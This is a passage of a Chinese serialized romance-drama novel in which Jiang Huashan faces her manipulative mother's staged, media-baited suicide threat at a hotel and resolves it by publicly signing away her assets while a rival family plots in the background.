倏地,手机屏幕亮了。 一条新消息弹出,来自那个唯一的联系人。 同样是一张表情包:小乌龟被一脚横踢,塞回了乌龟壳。 沈归灵定定地看着那只被揍得很惨的小乌龟,深邃的眸底渐渐晕开了一层潋滟的水光,笑容不可抑制地爬上了嘴角。 …… 第903章 黄鼠狼拜年 距离开庭还有两日,鲸港的天说变就变。 前一日尚算温和的冬日,被一场突如其来的寒流彻底击碎。铅灰色的云层低低压着城市天际线,凛冽的北风呼啸着卷过街道,带来这个冬季第一场真正意义上的酷寒。 细碎的冰晶夹杂在风中,敲打着绣楼的窗户,楼内却温暖如春。 姜花衫伏在宽大的书案前,手边堆叠着厚厚的卷宗与证据复印件。她神情专注,不时用笔在一旁的笔记本上落下标记或批注。暖色的台灯光线笼罩着她,在她低垂的眼睫下投下一小片柔和的阴影。 张茹端着一壶新沏的热茶推门进来,几乎是踮着脚尖走路,生怕发出一点声响。放下茶水,她抬眼看了看姜花衫,见她依旧沉浸在卷宗里,便转身带上房门,悄无声息地退了出去。 房间里安静得只有笔尖划过纸张的沙沙声。 姜花衫刚将一页关键证据的摘要整理完毕,正准备端起那杯新换的热茶,案台上的手机屏幕倏地亮了起来。她瞥了一眼,待看见那个熟悉的名字,表情微愣,立刻接通了电话。 “你回来了?” “嗯,连夜航班。” 姜花衫看了看腕表上的时间,并未寒暄,直接道:“资料我已经准备好了,现在传给你。该怎么做,你看了就知道。” “好。”苏妙应得极为爽快。 姜花衫的心情略好了些,笑道:“交给你了。” “好。”苏妙又应了一声。 姜花衫挂了电话,指尖在微凉的手机外壳上停留片刻。变暗的屏幕倒映出她目光深邃的侧脸。 “小姐。” 就在这时,轻轻的叩门声打破了室内的宁静,张茹再次推门而入。 这一次,她的脸上带着明显的不安,略带迟疑地走到书案前,小心翼翼道:“小姐……方夫人来了,就在主厅,她说想见您。兰晞少爷遣人来问,您要见吗?” 姜花衫目光微动,皱了皱眉,“她来做什么?” 张茹深知方眉的底色,也知道姜花衫不喜欢这个母亲,探过身小声道:“说是听说了先生去世的消息,过来拜祭。” “爷爷呢?” 张茹:“老爷子应该是知道夫人来了,但并未露面。” 姜花衫冷嗤了一声,“黄鼠狼给鸡拜年,没安好心。不见。” “诶。”张茹应声走了出去。 * 沈家主厅。 沈兰晞端坐在主位,一身墨色常服,更衬得他面色如玉,神情淡漠。他修长的手指随意搭在椅臂上,并未碰触手边那盏刚奉上的热茶。 方眉局促地坐在下首的紫檀木扶手椅上,身上那件过于鲜亮的玫紫色锦缎旗袍,与沈家此刻素净低调的氛围显得格格不入——来的时候光想着如何行事,完全忘了沈家尚在丧期。 她双手交叠放在膝上,有些尴尬地绞着手指,“兰晞少爷,我是真没想到……沈谦先生他……唉,真是天妒英才,实在太令人痛心了。想当年我还在沈园时,先生对我也是多有照拂……这突然就走了,我心里真是……难受得紧。” 沈兰晞抬眸,看了一眼她鲜亮的旗袍,“有劳挂心。” 方眉脸上的笑容僵了僵,干巴巴地接话:“应该的,应该的……沈家待我不薄,这份情谊,我一直记在心里。” 若是旁人,沈兰晞早已懒得应付。但方眉身份特殊,察觉到气氛凝滞,他沉默片刻,破天荒地主动开启话题:“方阿姨什么时候回来的?” 阿姨?!! 方眉瞳孔一震,一脸受宠若惊,磕磕巴巴道:“昨……昨天。” 沈兰晞问:“住哪?” “鲸港帝豪。”话刚说出口,方眉就有些后悔了,不自然地摸了摸头发,“我刚回来,也没有落脚的地方,想着不能给衫衫丢脸,就咬牙住了酒店的总统房。不过,我就住三天,三天后就走了。” 沈兰晞神色淡然,“怎么不多住几天?” 方眉一时也没弄懂这位沈家太子爷为何如此健谈,但沈兰晞愿意跟她聊,她高兴还来不及,便也没细想,轻叹了一声:“上次关家的事,我这脸也算丢完了。鲸港嘛,再待下去也只会连累衫衫。我就是想着马上就要走了,所以才想来看看她。” 说着,她一脸急切地向厅外张望,“衫衫怎么还没有来啊?” 恰在此时,高止的身影出现在主厅门口。他步履沉稳地走到沈兰晞身侧,微微躬身,低声说了几句。 沈兰晞抬眸,转头看向方眉,“方阿姨,衫衫马上就要开庭了,时间紧迫,她实在抽不开身。” 方眉脸上强装出来的殷切瞬间冻结。她哪能不明白这是沈兰晞的场面话?脸色像是被人打了一巴掌般迅速涨红,难看至极。 “好!好!!” 她冷笑着起身,强撑着脸上的体面,“有了好靠山,连自己的母亲都不认了!好!好得很!!” “方阿姨……”沈兰晞出声打断。他那双深邃眼眸里没有任何怒意,却让方眉心底冒出凉气,“慎言。” 仅仅两个字,如同冰水浇头,瞬间熄灭了方眉因羞愤而燃起的失控怒火。 她猛地意识到自己身处何地,面对的是谁。 与沈兰晞、与整个沈家硬碰硬,她没有任何资本。 “……好,我走。”方眉从牙缝里挤出这三个字,转身冲出了主厅,身影很快消失在呼啸的风雪中。 高止看着那抹亮得晃眼的身影,微微皱眉,“少爷,要不您还是劝劝姜小姐?方眉毕竟是姜小姐的生母,姜小姐这么做很容易被人诟病,尤其她现在一举一动都受人瞩目。” “不用劝,她一定有她的理由。”沈兰晞端起茶盏,浅呷了一口,淡淡道:“派人跟着方眉,别让她闹事。” 高止心下明白,沈兰晞这是对方眉彻底起了戒备,立马点头应道:“是,少爷。” …… 第904章 狗急跳墙 "啊——!" 方眉一回到酒店,再也压抑不住狂躁的心情,歇斯底里地嘶吼了一声,抱起玄关处的花瓶就要砸。 手臂挥到半空,却硬生生僵住。 她瞪着那花瓶,脑海里瞬间闪过酒店赔偿清单上令人咋舌的数字。沈渊给的支票还没完全落袋为安,她答应那个人的事还没做到,这玩意儿她砸不起。 这个认知像一盆冰凉的冷水兜头浇下,气得她浑身发冷。 这才是最可笑的,她现在连发泄都要计算着代价。 玄关暗处立着一道身影。 姜晚意如同一个置身事外的看客,静静欣赏着方眉抱着花瓶想砸不敢砸的绝望神情。 她这个母亲,虚荣贪婪,从见识过鲸港的繁华后就更一发不可收拾,她想像沈娇那样高高在上,却永远被轻贱踩踏,真是可怜。 姜晚意嘴角勾起一抹极淡的讥诮,抬步走出暗影。 "妈妈。怎么了,我好像听见有人摔门的声音。" 她穿着一身柔软的睡衣,出现在客厅门口时,脸上写满了刚刚被吵醒的茫然与恰到好处的担忧。 方眉猛地回头,看见姜晚意的那刻,狂乱的怒气仿佛找到了一个宣泄口,她上前猛地一把抓住姜晚意的头顶,发了疯似的拖拽,"你们一个个的都是白眼狼!我为了你们吃了多少苦?可你们呢?你们是怎么对我的?!" 姜晚意猝不及防,头皮传来撕裂般的剧痛,整个人被拽得一个趔趄,差点摔倒在地。 "啊——!好痛!妈妈,松手!求求你松手!" 她不敢过分反抗,生怕更加激怒方眉,只能顺着拖拽的力道,半跪半爬地减缓头皮的拉力,嘴里不住哀求:"妈!妈我错了!您别这样!求求您松手!是不是姐姐?她又惹你不开心了?妈妈,我不是姐姐,我能帮你,我可以帮你的。" "你帮我?" 方眉拖拽的动作猛地一顿,一把拽起姜晚意,逼迫她仰着头面对自己,"我让你陪男人睡个觉你都不肯,你拿什么帮我?" 姜晚意强忍着杀意,抬起泪眼朦胧的脸,死死抓住方眉的手臂,像是抓住唯一的浮木,声音哽咽却带着一种诡异的坚定:"我能让姐姐来见你。" 方眉的眼神闪烁不定,她盯着姜晚意,似乎在判断这番话的真假。片刻后,她眯了眯眼,"你怎么知道我想见她?你偷听我打电话了?" "不是不是!"姜晚意的身体本能地瑟缩了一下,"是姐姐,她刚刚打电话来酒店了,她说让你死心,她这辈子都不会再见你,还让我们赶紧滚出鲸港,有多远滚多远。" 方眉的瞳孔骤然收缩,原本气涨红的脸瞬间血色尽褪,转为一种可怖的青白。 "她……她真这么说?!" 姜晚意用力点头,添油加醋地哭诉:"真的,她还说您……说您不配做母亲。" "我不配?" 方眉的声音尖利得几乎要刺破耳膜,一把甩开姜晚意,"我当初就该狠下心掐死你们的!" 姜晚意吓得浑身一颤,连滚带爬抱住方眉的腿,"妈妈,你别生气。是姐姐不对!是她忘恩负义!她想我们走我们偏不走,偏不如她的意。" 方眉垂眸,瞬间冷静了下来,赤红的眼睛里闪过一丝异样的光。 她缓缓弯下腰,直勾勾地看着姜晚意的眼睛,"你刚刚说有办法让那小贱人来见我?" 姜晚意捕捉到这细微的变化,故作小心翼翼道:"妈妈,其实你不必求上门的,你是她的母亲,单凭这个身份,你动动手指就能让她乖乖听话。" 方眉深看了姜晚意一眼,直起身,"说下去。" "现在所有人都盯着姜花衫,尤其是新闻媒体。只要妈妈你随便闹出一点事,大众的目光都会看过来。"姜晚意仰着头,脸上还挂着泪珠,眼神却透出一种与她年龄不符的阴冷算计。 她压低声音,一字一句地说道:"比如……妈妈你可以''一时想不开''。" 方眉眉头紧蹙,没明白她的意思。 姜晚意继续"引导":"你想啊,姐姐她现在最怕什么?她最怕的就是自己的名声受损,影响她两日后的庭审。一个母亲,被自己的孩子恶语相向,屡次拒之门外,心灰意冷之下难免想不开……" 方眉脸色微变,"你想要我死?" "不是!"姜晚意连忙解释,"只是假装寻死而已。消息一旦传出去,媒体会像闻到血腥味的鲨鱼一样扑过来。''沈家养女逼死亲生母亲'',这噱头足以引起所有人的公愤。到时候,为了平息舆论,为了沈家的脸面,姐姐只能求上门。" 方眉目光扫过酒店高窗外的阳台。 如果真演了这么一出戏,正好解了沈渊给她的难题,这样她就可以两头赚了。 方眉沉默了半晌,还是有些不放心,"那丫头没心没肺,她万一不来呢?" 姜晚意摇头,"她只是对我们没心没肺,对沈家她可是重情重义。所以,她一定会来。" * 开庭前一日。 气温持续走低,菊园内原本精心养护的花木仿佛在一夜之间被抽走了所有生气,残存的叶片蜷缩枯萎,蒙上了一层灰白的霜渍。 "衫衫!不好了!出大事了!" 绣楼的门被人从外面猛地推开,傅绥尔气喘吁吁地冲进院内,一口气冲上绣楼。 "你快看这个!"她甚至来不及顺口气,点开手机屏幕几乎怼到姜花衫眼前。 姜花衫抬了抬眼,顺手将一杯没喝的热茶推到她面前,"怎么喘成这样?喝口水缓缓。" 傅绥尔顺着姜花衫方向望去,这才发现她的手边放着一台亮着的平板电脑。屏幕上,赫然是和她手机里一样的直播画面。 屏幕里,一个女人长发披肩,双腿悬空在外,下方是令人眩晕的城市街景。 新闻标题用醒目的红色大字标注着:【突发!鲸港豪门千金生母疑因遭女儿拒见,心灰意冷欲跳楼轻生!】 主持人的画外音急促而充满煽动性:"……目前情况十分危急,轻生女子情绪激动,拒绝与救援人员沟通,反复哭诉只想见女儿最后一面……" …… 第905章 预见 “你已经知道了?” 傅绥尔微愣了一下,见姜花衫一副云淡风轻的模样,急得直跺脚:“你怎么还这么镇定?她都闹到要跳楼了!现在全网都在直播,所有人都在骂你冷血无情!” 姜花衫转头看向电脑屏幕,目光毫无温度地停留在方眉哭泣的脸上。 “你说……”她的声音平静得可怕,“一个真心求死的人,会特意选在鲸港最豪华的酒店,穿着最显眼的玫紫色旗袍,还提前通知了所有媒体吗?” 傅绥尔随即瞪大眼睛,气急败坏道:“这个坏……她分明就是故意的!明天就要开庭,这节骨眼上闹出这种事,也不知道她到底安得什么心?” “什么心?”姜花衫起身走到窗边,望着窗外萧瑟的庭院,“置我于死地的心。她想我死。” 傅绥尔眼里的愤怒瞬间僵滞,她看着姜花衫的背影,忽然不知道该说什么。 她们一起长大。在没有联盟之前,她目睹过姜花衫是如何讨好方眉。为了留住方眉,姜花衫不惜让出沈家给她的所有东西。 没有人比她更清楚,姜花衫曾经有多爱方眉。 可她的母亲,却时时在算计她。 一个女儿要多么绝望,才能对一个母亲定下“她想我死”的结论? 傅绥尔收敛了情绪,起身走到她跟前:“她这么做就是为了逼你现身。古往今来,孝道一直是道德里最大的一座山,你要真见死不救,舆论的唾沫也能将你淹死。她把事情闹得这么大,无非是为了钱。只要她有所求那就好办,我这就去联系人……” “没有用的。”姜花衫双手抱胸,依靠着窗台摇了摇头,“贪心不足蛇吞象。你满足了她这次,还会有下次,下下次。她永远都不会满足的。” 当初她也是这么觉得,一次次妥协,直到后来一次不能满足方眉,就被无情地丢开了。 傅绥尔转头看向混乱的直播屏幕,沉默片刻,又转头看向姜花衫:“衫衫,你是不是已经有主意了?” 姜花衫漂亮的桃花眼瞬间蒙上了一层雾气。她抬起头,眯眼看向远处灰蒙蒙的天,轻声道:“我不是有主意了,是已经猜到结局了。但我还没有想好,我这次应该扮演什么角色?” * 十分钟后。 沈家主宅通往菊园的抄手游廊下,三道身影不期而遇。 沈娇穿着一身素净的深灰色羊绒套装,臂弯搭着一条黑色披肩,神色凝重,步伐却依旧保持着惯有的从容。她刚从外面回来,显然也看到了那铺天盖地的新闻。 几乎同时,另一侧月亮门处,沈兰晞也迈步而来。他依旧是那身墨色常服,面容冷峻,眼底凝着一层化不开的寒霜。高止无声地跟在他身后半步之遥。 而在游廊转角,沈清予也正快步走来。他眉头紧锁,脸上带着显而易见的焦躁与不满。 三人在菊园入口处停下脚步,目光短暂交汇。 沈娇率先开口,声音带着一丝不易察觉的疲惫,却依旧维持着长辈的沉稳:“你们都知道了?” 沈兰晞微微颔首,算是应答。 沈清予脸色阴沉得难看:“闹得满城风雨,想不知道都难!方眉她到底想干什么?这是要逼死小花儿吗?!” 沈娇皱眉,目光深沉:“现在不是说这个的时候,待会儿见了衫衫这些话也别说。” 沈兰晞的睫毛几不可察地颤动了一下,沈清予也抿紧了唇,没有作声。 三人一起进了菊园,刚步入花廊,便看见傅绥尔坐在竹椅里发呆。 沈娇往绣楼方向看了一眼,上前拍了拍她的肩膀:“发什么呆?衫衫呢?” 傅绥尔眨了眨眼睛,过了一会儿才回过神:“哦,她出去了。” “什么?!出去了?”沈娇脸色微变,神情严肃,“她去见方眉了?” 傅绥尔点头:“嗯。” “这么大的事,你怎么不拦着她?!” 话音未落,身侧两道身影已如离弦之箭般离去。沈兰晞、沈清予二话不说转身冲向花廊的拐角处。 沈娇看着两人离去的背影,到了嘴边的呵斥咽了回去,化作一声无奈的叹息。她揉了揉突突直跳的太阳穴,再看向傅绥尔时,语气带着疲惫:“这件事没这么简单。衫衫明天就要开庭了,这显然是有人在针对她。她走的时候,还说了什么吗?” 傅绥尔低着头,嘴唇动了动,却发不出声音。 沈娇见她这般模样,知道再问下去也是浪费时间。眼下最紧要的是先把人找到。她不再犹豫,果断转身,准备安排人手去拦截姜花衫。 就在她抬步欲走的瞬间,衣袖忽然被一股微弱的力道拽住。 沈娇脚步一滞,回头看去。 傅绥尔缓缓抬起头,眼眶微红。 她细细回忆着姜花衫说话时的表情,声音极轻:“她说……她去见她最后一面。” 最后四个字,如同惊雷炸响在沈娇耳边。 她身形猛地僵住,所有的担忧和焦躁瞬间被一种更深的惊悸取代。 “你再说一遍,衫衫说什么?” * 帝豪酒店楼下,已然乱成了一锅沸粥。 凛冽寒风中,黑压压的人群将酒店外围得水泄不通。 长枪短炮的记者们挤在最前沿,摄像机镜头齐刷刷地仰起,死死锁定着顶楼那个摇摇欲坠的身影。刺目的闪光灯此起彼伏,试图穿透这灰蒙蒙的天光,捕捉到更血腥震撼的画面。 “方女士!冷静!想想你的家人!” “往后退!所有无关人员往后退!” 警察和酒店保安组成的人墙奋力维持着秩序。扩音器里传来的喊话声,在嘈杂的人声和呼啸的风声中显得有些力不从心。 一辆黄色的出租车停在酒店临时管制区边缘。 姜花衫坐在后座,目光穿透车前窗,平静地注视着眼前这场为她精心设计的混局。 “小姑娘,前面有人跳楼过不去了。”司机师傅探出身体往外张望,啧啧摇了摇头,“都能住上这么豪华的酒店了,还有什么想不开的?现在的人啊,脑子里不知道在想什么?” 话音刚落,后座传来一声关门声。 司机回头,这才发现后座已经空无一人。 …… 第906章 孤岛 姜花衫刚推开车门,凛冽的寒风裹挟着现场的嘈杂瞬间将她包裹。 她站定,拢了拢大衣的衣领,正准备迈步,手包里的手机便嗡嗡震动起来。她掏出手机看了一眼来电显示,脚步未停,一边朝着警戒线的方向走去,一边划开了接听键。 “姐姐,妈妈疯了,我怎么劝她都不听,你千万别来,你……” 姜晚意原本带着哭腔,话说到一半,隐约听见电话里人声鼎沸,她忽然像是被什么东西猛地掐住了喉咙,语气陡然一变,脱口而出:“你现在在哪?!” 下一秒,通话被干脆利落地切断。 姜花衫将手机随意塞回大衣口袋,目不斜视地继续向前。 她穿过维持秩序的警察身边,无视了他们试图阻拦的手势和喊话,径直走向那堵由记者和摄像机组成的“围城”。 她的出现像一颗投入沸水的冰块,瞬间引起了小范围的骚动。有眼尖的记者认出了她,惊愕之下,镜头本能地转向了这个风暴中心的人物。 就在所有人都还没完全反应过来时,她径直走到一位距离她最近的记者面前,在众目睽睽之下,极其自然地伸手接过了男人手中的话筒。 这一刻,全场哗然! 所有的摄像头瞬间聚焦。 闪烁的镁光灯如同骤雨般落下。镜头里的姜花衫,寒风卷起她鬓边几缕散落的发丝,乌黑潋滟的桃花眼映着冷白的面颊,成就了一场无可挑剔的视觉盛宴。 “诸位辛苦,很抱歉因为我个人占用了社会资源,给大家添麻烦了。” 姜花衫清冷的声线透过话筒传开,礼貌而疏离的开场白像一阵微凉的清风,暂时拂过了现场的躁动。 然而,这短暂的静默只维持了一瞬。 记者们很快从视觉冲击中回过神,职业的本能立刻占据了上风。他们一个个如同嗅到血腥味的鲨鱼,争先恐后地扑了上来,无数话筒奋力向前伸去,几乎要怼到她的脸上。 “姜小姐,请问你和你母亲之间到底发生了什么?为什么会闹到要跳楼的地步?” “你母亲声称你对她不闻不问,拒绝赡养,这是真的吗?” “你刚才说占用社会资源,是否认为你母亲的行为是在给你添麻烦?这是否过于冷漠了?” “明天就要开庭审理余斯文案,你母亲选择在这个时间点跳楼,是否与你明天的出庭有关?” “有消息称你与沈家关系密切,这是否影响了你对你亲生母亲的态度?” “姜小姐,请正面回答!你是否如你母亲所说,是个冷血无情的人?” 没有人想到她会单枪匹马闯进风暴,对于她的勇敢,迎来的不是嘉奖而是一个比一个尖锐刻薄质问,所有人都在试图从各个角度撕开她的防御。 闪光灯疯狂闪烁,捕捉着姜花衫脸上最细微的表情变化,只要她有一丝慌乱、愤怒或委屈都会被放大无数倍公开处刑。 但她没有,一丝都没有。 姜花衫笔直地站在风暴中心,面对无数双审视的眼睛,平静道:“我来就是想请大家给我做个见证。我愿意将我名下所有个人财产:包括但不限于存款、房产、投资收益等一切动产与不动产,全部交由我的母亲——方眉女士,全权打理和支配。” 她的声音清晰地穿透寒风:“你们人多,麻烦帮我问问她,这样,她愿意真心爱我了吗?” 此言一出,全场出现了刹那的死寂,连呼啸的风声仿佛都停滞了一瞬。 第907章 可以 此刻,鲸港帝豪顶层阳台的局势正在悄然改变。 “真的?!那死……她真的这么说?!” 方眉死死攥着栏杆,原本那一副决然求死的麻木神情再也装不下去了,眼神狂喜,连语调都拔高了:“真的!全部……全部财产都给我吗?” 不等工作人员上前帮衬,她的身体已经不由自主地想要往回缩。别人不知道,她可清楚得很,当初沈娇可是花了几千亿给那死丫头买了块地。 几千亿啊,有了这笔钱,她就再也不用受制于人了。 “妈!” 就在这时,一声尖锐急促的呼喊自身后响起。 姜晚意猛地冲了过来,看似关心地一把死死抓住方眉的手臂,力道之大,指甲几乎要嵌进方眉的肉里。 “妈妈,你可别冲动,小心有诈!”她低着头,贴着方眉耳侧小声提醒。 方眉被突如其来的疼痛拉回了一点理智,脸上的喜色淡去了不少。 姜晚意这话倒是提醒她了,姜花衫会有这么好心?当初她不过是拿了菊园一点东西给姜晚意,她就要死要活,还让老爷子把她赶了出去,现在怎么会这么大方? 姜晚意死死抱着方眉的腰身,从不知情的旁人视角看来,这是一个女儿想尽办法在挽留母亲。 然而,真相却无比丑陋。 姜晚意声音极轻:“妈,口说无凭,你千万不能被她骗了。姜花衫这是急了,她是故意用这一招想为自己博取名声。现在所有的舆论都帮着她说话,你要是现在就妥协,咱们就前功尽弃了。” 这话像一盆冷水,浇得方眉一个激灵。 她垂下头,死死盯着楼下,仿佛能穿透层层阻碍,看到姜花衫此刻的表情。 周围的救援人员见方眉态度有所松动,正准备趁机上前安抚和营救。 “别过来!”方眉突然厉声喝止,身体又往栏杆外缩了缩,引得楼下围观人群一阵惊呼。 她眼神闪烁,足足僵持了半分钟后,脸上掠过一丝狠决和精于算计的光。 她抬起头,对着离她最近的一名救援人员,声音带着不容置疑的强硬:“你去告诉她!想要我下来可以,让她现在就当着所有人的面,把财产转让合约签了!我要亲眼看着!签完字,我立刻就下来!” 说完,她顿了顿,像是为了增加筹码,又恶狠狠地补充道:“不然……我现在就从这儿跳下去!让她姜花衫一辈子背着逼死亲娘的骂名!” 这话一出,不仅是救援人员,连紧紧抱着她的姜晚意都愣住了。 * 周家庄园。 “沈渊这个蠢货!”周国潮胸膛微微起伏,脸上因怒意而泛着不正常的红晕。 古董电话被重重摔回座机,发出沉闷的撞击声。 “商贾之流,果然上不了台面!” 书房内檀香袅袅,却压不住空气中弥漫的火药味。周管家垂手侍立在一旁,连呼吸都放轻了。 周国潮越想越气,猛地转身,犀利的目光看向窗外灰蒙蒙的天际:“这件事眼看就要成了,他竟临时变卦!就为了那点财产,连大局都不顾了?这个时候让方眉签什么转让合约?他以为姜花衫是任他拿捏的软柿子吗?” 管家适时递上一杯温茶:“这位姜小姐倒是大气,不哭不闹,直接拿出全部身家性命,连沈先生都动了心,只怕数目不小。” 周国潮接过茶盏,重重吐了一口浊气:“这丫头已经不是大气不大气的问题,而是邪乎。最早,傅老头儿就在她手里栽了跟头。后来又牵扯出A国震惊的枪杀案,短短十年时间不到,沈家那些有二心的也因为她死的死走的走,不得不防啊。” “原本我都计划好了,让姜晚意挑唆方眉与姜花衫的关系,趁机让姜花衫背上逼死生母的罪名,她在鲸港就再无立足之地。谁知道,这个沈渊眼皮子竟然这么浅,蠢货!坏我大事!” 周管家不敢申辩,低头迎合:“老爷子运筹帷幄,沈渊自然不能比。但方眉已经同意见姜花衫了,之前的计划只怕是行不通了,看来,明天的庭审是拦不住她了,咱们要不要知会隔壁一声?” 周国潮摇头:“斩草不除根,春风吹又生。我早就说那丫头不对劲,那些人偏偏不信。你看看,随手一局棋就打破了方眉的死局,还有人敢说她是瞎猫碰上死耗子?” 周管家神情微变:“老爷子的意思是,还得……” 他略有迟疑,左右看了看,做了个抹脖子的动作。 周国潮瞥了管家一眼:“原本让姜晚意去提醒姜花衫,就是想让她避开方眉。姜花衫的聪慧必然知道方眉是在做戏,只要她不出面,姜晚意趁机把方眉推下去,这事就算成了。但现在,姜花衫既然来了,那就只能另外想办法了。” 他的语调稀松平常,仿佛一两条人命比路边的野草还轻贱。 管家并未觉得有什么不妥,细细斟酌了片刻:“我这就安排人……” “诶!”不等他说完,周国潮抬手制止,微微倾身,声音低沉:“告诉姜晚意,这是她最后的机会了。敢应下弑母之罪的人,可不止那么点本事。” 周管家躬身领命,小心翼翼地拉开厚重的书房门,正要抬脚却猛地一愣。 门外,周宴珩不知何时站在那里,身姿挺拔如松,脸上依旧是那副惯常的漫不经心,只是眼底深处似乎掠过一丝极淡的、难以捉摸的情绪。 他站在那里,仿佛只是恰好经过,又仿佛已经静立了许久。 “少……少爷。”管家不知道周宴珩听了多少,下意识地侧身让开通路,声音里带着一丝不易察觉的紧张。 周国潮也看到了门外的孙子,他脸上的怒意瞬间收敛,恢复了平日里深沉的威严:“你怎么来了?” 周宴珩像是没察觉到空气中残留的紧绷,迈步走了进来,视线淡淡扫过管家:“云乡那边有些新情况,我打算今晚就过去,特意来跟您说一声。” 周国潮早已将周家的事都交待给了周宴珩,书房的事,就算周宴珩知道了他也不觉得有什么问题。听说他要走,立马起身轻轻拍了拍周宴珩的肩膀:“把事情做漂亮些,等你回来,爷爷给你庆功。” 周宴珩微微颔首,语气一如既往的平淡,听不出任何波澜:“爷爷放心,我知道轻重。” 说完,忽然想起什么,目光掠过周国潮落在窗外灰蒙的天空上。 “爷爷,变天了,保重。” 他的语调漫不经心,像是随口一提,又像是某种不着痕迹的提醒。 * 第908章 亲缘这笔债 酒店顶层的风似乎更冷。 姜花衫拢了拢衣领,慢慢向方眉走去。 方眉一脸警惕,却也没有喝止。两人的距离缩短到一米左右,姜花衫停下了脚步。 “诺。” 她抽出夹在胳膊下的文件,状似随意地递上前。 “沈家对我很好。除了小沈园不能给你,沈娇每年转的教育基金,再加上这几年的家族分红,这笔数目足够你衣食无忧了。” 方眉眉头紧蹙。 为了让这场戏演得逼真一点,她在阳台栏杆上爬了将近四个小时。冬天的风带着冰碴,脸都冻僵了,这让她看上去像个潦草的疯子。 但此刻方眉根本顾不上这些,一把接过姜花衫手里的文件,急不可待地抽出里面的合同检查。 在看到“自愿赠与”三个字时,她眼里的贪婪有明显的僵滞。但很快,那份淡得几乎没有的过意不去,就被一长串数不清的零淹没了。 姜花衫给她的这份文件,不是七个零,也不是八个零,是更多!多到数不清,多到超出了她这一生对财富的认知。 方眉一度以为是自己眼花了,使劲揉了揉眼睛,直到确认这不是做梦,才默默合上了文件。 她深吸一口气,默默从栏杆外侧往前移了一步,举起手里的文件,嘴角的笑容极其温和:“你放心,我知道该怎么做了。” 不管是沈渊还是谁,她之所以跟他们合作,都是为了钱。但不管是谁,都不可能比姜花衫给得更多了。所以,她也就不会反悔了。 姜花衫点了点头,没有再说一句话,转身准备离开。 方眉皱眉,垂眸看着手里的文件,挣扎片刻喊住她:“衫衫。” 姜花衫身形顿住,抬眸看向她。她的眼神清澈,却没有一丝情绪:“还有要求?” 方眉对上这双眼睛,莫名闪过一丝复杂的情绪。 她收敛了笑容:“你要早这样做,我们就不会走到这一步。我今天这样,都是你逼我的。你明明知道,我只要钱就够了,是你主动断了我们母女之间的情分。” 姜花衫沉默片刻,摇了摇头:“不,早晚都一样,结果不会改变。” 上一世,她明明什么都给方眉了,但最后还是众叛亲离。 这一世,方眉之所以有这样的认知,是因为她从一开始就拒绝付出。所以当她现在愿意倾尽所有,即便是方眉这样贪婪的人,也会被触动。 她想了想,又补充了一句:“不过有一点你说对了,这次,的确是我先不要你的。其实我并不在意这些身外之物,所以用来断了你我之间的亲缘,我也觉得很划算。” 方眉神情微怔,两人的眼神在寒风中碰撞,一个清醒,一个冷漠。 也是在此刻,她终于印证了:当年赶她出沈园时,她的孩子就已经变了。 方眉缓缓垂眸,紧紧攥住掌心的文件,“那就好,起码算是个愉快的交易。” 姜花衫点头:“合作愉快。” 说完,便不再看她,转身往身后的大门走去。 从方眉同意在众目睽睽之下接下她手里的合约那刻,就意味着,她们之间被世俗定义的母女关系解绑了。民众在见识过方眉的贪婪之后,今后不论她做什么,舆论都不可能再帮她了。 作为一个利益为重的母亲,方眉并非看不透。她甚至比任何人都明白,这是姜花衫想要摆脱她的明棋。但这诱饵实在是太大了,她就算知道,也拒绝不了。 方眉看着眼前那道渐行渐远的背影,恍惚间,脑海中浮现出一道更小的轮廓—— 蹒跚学步,咿咿呀呀,哭着笑着奔向她的小人儿。 她深吸一口气背过身,但那道身影怎么都挥散不去。她闭了闭眼,转过身举起手里的文件,脱口而出:“我是爱过你的。” 姜花衫脚步顿住,冷风吹起她的发丝,她没有回头。 方眉咬了咬牙,吞下喉间的哽咽:“在你还没有出生的时候。” “要怪就怪姜钰,是他毁了这一切。明明知道我有身孕,可他还是头也不回地去了前线。我以为他很快就会回来,但我等啊等,等到你快要出生时,迎来了他的死讯。你知道我当时有多绝望吗?我只是个女人,我只是想要个依靠,我为他生儿育女,他却什么都不能给我。” “我在绝望中生下了你,没有奶水,你哭我也哭。但他们不理解,他们都怪我,都劝解我,说我已经是做母亲的人了,为了孩子我要坚强。可我不想坚强,那样被哭声环绕的日子,我一刻都过不了。” “我做不到为了你牺牲。在我心里,我首先是我自己,才是母亲的角色。所以我丢下了你,逃离了那个牢笼。” 这话对于一个孩子来说残忍至极,但没有欺骗,何尝又不是另一种坦诚。 于姜花衫而言,比起上一世,眼前的方眉起码恶得坦荡。 她不置一词,淡淡点了点头:“知道了。” 说罢,便又要走。 “你不知道!”方眉情绪涌动,“你不知道一个人在生产间痛到失去知觉却不能晕过去是什么感觉?也不知道胸口被咬出血、伤疤还没愈合又裂开是什么感觉?更不知道肚子被剖开又缝上是什么感觉?” 姜花衫偏头,轻描淡写:“同样,你也不知道从小蹲在老树旁等一个永远不会回来的人是什么感觉?不知道存了一年的糖舍不得吃,最后只能看着糖衣变色是什么感觉?不知道只有玩扮家家时才能喊妈妈是什么感觉?” 她缓缓抬眸,看着方眉的眼睛一字一句道:“我允许你做自己,但不要明白,我、不欠你什么?你的不幸与我无关,但我的不幸与你有关。” 方眉怔然,冷风迎面,吹红了她的眼角。 她张了张嘴,想要反驳,却找不到自己的声音了。 姜花衫垂眸,面无表情地转过身,正要抬脚,一道极轻的声音在身后响起: “小心沈渊和周家。” * 第909章 被捆绑的自由 最终,方眉独自一人走了。 没有带走任何行李,也没有带走那个她曾经以为可以相依为命的“小女儿”。她只带走了那份装着天价协议的文件夹。 数小时后,暮色四合,巨大的渡轮在低沉浑厚的汽笛声中缓缓驶离了鲸港码头。船舷劈开墨蓝色的海水,留下一道逐渐消散的白色尾迹。 方眉站在总统套房的露天阳台上,肩上昂贵的羊绒披肩让她丝毫感觉不到海风的湿冷。 对岸灯火璀璨,如同散落的星辰,渐渐连成一片模糊的光带,最终缩成遥远天边的一线。 她还记得第一次来鲸港的每一幕。 来接她们的是一艘小得可怜的船,她和姜晚意因为不适应坐船吐得昏天黑地。等到踏上鲸港这片繁华的土地时,两人都像是被抽走了魂魄,脸色蜡黄,脚步虚浮,带着一身难以掩饰的狼狈与土气。 那时的鲸港,在她眼中是镶着金边的庞然大物。高耸入云的摩天大楼,川流不息的昂贵汽车,衣着光鲜、步履匆匆的行人……一切都让她目眩神迷,同时又生出一种深入骨髓的自卑与惶恐。 她原本以为人生巅峰便是如此,直到她踏入沈家庄园见识了真正的富贵后,才知道坐井观天的青蛙有多可笑。 